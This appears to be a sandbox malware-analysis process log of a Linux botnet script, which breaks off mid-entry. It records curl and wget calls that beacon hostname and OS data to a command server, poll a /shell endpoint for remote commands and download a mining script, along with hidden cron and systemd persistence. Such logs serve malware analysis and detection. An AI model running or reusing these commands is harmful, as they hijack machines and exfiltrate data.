  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1934
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1936
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1939
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1942
- /bin/sleep
  sleep 2
  2⤵
  PID:1944
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1951
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1952
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1954
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1957
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1960
- /bin/sleep
  sleep 2
  2⤵
  PID:1962
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1969
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1970
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1972
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1975
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1978
- /bin/sleep
  sleep 2
  2⤵
  PID:1980
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:2099
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:2172
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:2320
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:2380
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:2383
- /bin/sleep
  sleep 2
  2⤵
  PID:2511
- /bin/sleep
  sleep 10
  2⤵
  PID:2543
- /bin/hostname
  hostname
  2⤵
  PID:2669
- /bin/uname
  uname -srm
  2⤵
  PID:2671
- /usr/bin/curl
  curl -sk https://ghvfcd.quest:8443/beacon -X POST -H "Content-Type: application/json" -d "{\"bot_id\":\"ubuntu1804-amd64-20260513-en-13-32\",\"hostname\":\"ubuntu1804-amd64-20260513-en-13\",\"os\":\"Linux 4.15.0-213-generic x86_64\",\"version\":\"5.0\"}" --connect-timeout 15
  2⤵
  PID:2672
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:2680
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:2681
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:2689
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:2717
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:2727
- /bin/sleep
  sleep 2
  2⤵
  PID:2741
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:2760
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:2773
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:2790
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:2801
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:2819
- /bin/sleep
  sleep 2
  2⤵
  PID:2828
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:2843
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:2848
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:2854
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:2857
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:2863
- /bin/sleep
  sleep 2
  2⤵
  PID:2866
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:2873
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:2874
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:2876
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:2879
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:2894
- /bin/sleep
  sleep 2
  2⤵
  PID:2931
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:2979
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:2989
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:2998
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:3005
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:3008
- /bin/sleep
  sleep 2
  2⤵
  PID:3026
- /bin/sleep
  sleep 10
  2⤵
  PID:3056
- /bin/hostname
  hostname
  2⤵
  PID:3178
- /bin/uname
  uname -srm
  2⤵
  PID:3180
- /usr/bin/curl
  curl -sk https://ghvfcd.quest:8443/beacon -X POST -H "Content-Type: application/json" -d "{\"bot_id\":\"ubuntu1804-amd64-20260513-en-13-32\",\"hostname\":\"ubuntu1804-amd64-20260513-en-13\",\"os\":\"Linux 4.15.0-213-generic x86_64\",\"version\":\"5.0\"}" --connect-timeout 15
  2⤵
  PID:3182
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:3194
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:3195
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:3197
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:3224
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:3232
- /bin/sleep
  sleep 2
  2⤵
  PID:3245
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:3263
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:3266
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:3275
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:3277
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:3282
- /bin/sleep
  sleep 2
  2⤵
  PID:3287
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:3293
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:3295
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:3297
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:3299
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:3303
- /bin/sleep
  sleep 2
  2⤵
  PID:3305
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:3323
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:3325
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:3335
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:3339
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:3372
- /bin/sleep
  sleep 2
  2⤵
  PID:3394
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:3428
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:3433
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:3438
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:3445
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:3468
- /bin/sleep
  sleep 2
  2⤵
  PID:3474
- /bin/sleep
  sleep 10
  2⤵
  PID:3501
- /bin/hostname
  hostname
  2⤵
  PID:3623
- /bin/uname
  uname -srm
  2⤵
  PID:3628
- /usr/bin/curl
  curl -sk https://ghvfcd.quest:8443/beacon -X POST -H "Content-Type: application/json" -d "{\"bot_id\":\"ubuntu1804-amd64-20260513-en-13-32\",\"hostname\":\"ubuntu1804-amd64-20260513-en-13\",\"os\":\"Linux 4.15.0-213-generic x86_64\",\"version\":\"5.0\"}" --connect-timeout 15
  2⤵
  PID:3629
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:3641

/usr/bin/nohup
nohup /bin/sh /tmp/aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
1⤵
PID:1538

/bin/sh
/bin/sh /tmp/aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
1⤵
- Creates/modifies Cron job
- Modifies systemd
- Writes file to tmp directory
PID:1538
- /bin/rm
  rm -f /var/tmp/.w.test
  2⤵
  PID:1543
- /bin/cat
  cat /tmp/aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
  2⤵
  PID:1547
- /bin/chmod
  chmod +x /tmp/.w.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1550
- /bin/cat
  cat /tmp/aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
  2⤵
  PID:1554
- /bin/chmod
  chmod +x /var/tmp/.w.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1556
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1560
- /bin/grep
  grep -q /var/tmp/.w.sh /etc/rc.local
  2⤵
  PID:1582
- /bin/systemctl
  systemctl
  2⤵
  - Reads runtime system information
  PID:1584
- /bin/mkdir
  mkdir -p /etc/systemd/system
  2⤵
  - Reads runtime system information
  PID:1588
- /bin/systemctl
  systemctl enable .w.service
  2⤵
  - Reads runtime system information
  PID:1592
- /bin/systemctl
  systemctl start .w.service
  2⤵
  - Reads runtime system information
  PID:1645
- /bin/cat
  cat /var/tmp/.w
  2⤵
  PID:1654
- /bin/cat
  cat /var/tmp/.w.pid
  2⤵
  PID:1656
- /bin/hostname
  hostname
  2⤵
  PID:1658
- /bin/uname
  uname -srm
  2⤵
  PID:1680
- /usr/bin/curl
  curl -sk https://ghvfcd.quest:8443/beacon -X POST -H "Content-Type: application/json" -d "{\"bot_id\":\"ubuntu1804-amd64-20260513-en-13-32\",\"hostname\":\"ubuntu1804-amd64-20260513-en-13\",\"os\":\"Linux 4.15.0-213-generic x86_64\",\"version\":\"5.0\"}" --connect-timeout 15
  2⤵
  PID:1681
- /usr/bin/wget
  wget -q --no-check-certificate -O /tmp/.ms.sh https://ghvfcd.quest:8443/start_mining.sh "--timeout=30"
  2⤵
  - Writes file to tmp directory
  PID:1688
- /bin/chmod
  chmod +x /tmp/.ms.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1690
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1695
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1707
- /usr/bin/wget
  wget -q --no-check-certificate -O /tmp/.ms.sh https://ghvfcd.quest:8443/start_mining.sh "--timeout=30"
  2⤵
  - Writes file to tmp directory
  PID:1728
- /bin/chmod
  chmod +x /tmp/.ms.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1758
- /usr/bin/wget
  wget -q --no-check-certificate -O- "--post-data={\"bot_id\":\"ubuntu1804-amd64-20260513-en-13-32\",\"output\":\"executed:mine\"}" "--header=Content-Type: application/json" https://ghvfcd.quest:8443/result "--timeout=10"
  2⤵
  PID:1760
- /bin/sleep
  sleep 2
  2⤵
  PID:1790
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1795
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1799
- /usr/bin/wget
  wget -q --no-check-certificate -O /tmp/.ms.sh https://ghvfcd.quest:8443/start_mining.sh "--timeout=30"
  2⤵
  - Writes file to tmp directory
  PID:1801
- /bin/chmod
  chmod +x /tmp/.ms.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1803
- /usr/bin/wget
  wget -q --no-check-certificate -O- "--post-data={\"bot_id\":\"ubuntu1804-amd64-20260513-en-13-32\",\"output\":\"executed:mine\"}" "--header=Content-Type: application/json" https://ghvfcd.quest:8443/result "--timeout=10"
  2⤵
  PID:1805
- /bin/sleep
  sleep 2
  2⤵
  PID:1824
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1829
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1830
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1835
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1837
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1839
- /bin/sleep
  sleep 2
  2⤵
  PID:1842
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1850
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1851
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1856
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1858
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1861
- /bin/sleep
  sleep 2
  2⤵
  PID:1863
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=ubuntu1804-amd64-20260513-en-13-32'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1869
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1870
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" "--timeout=10"
  2⤵
  PID:1875
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1877
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=ubuntu1804-amd64-20260513-en-13-32&sig=acd4dd850ccb1031ca9462da2a4314e55c12964965aa28684a1094aabd81e439" --connect-timeout 10
  2⤵
  PID:1880
- /bin/sleep
  sleep 2
  2⤵
  PID:1883
- /bin/sleep
  sleep 10
  2⤵
  PID:1887
- /bin/hostname
  hostname
  2⤵
  PID:1895
- /bin/uname
  uname -srm
  2⤵
  PID:1897
- /usr/bin/curl
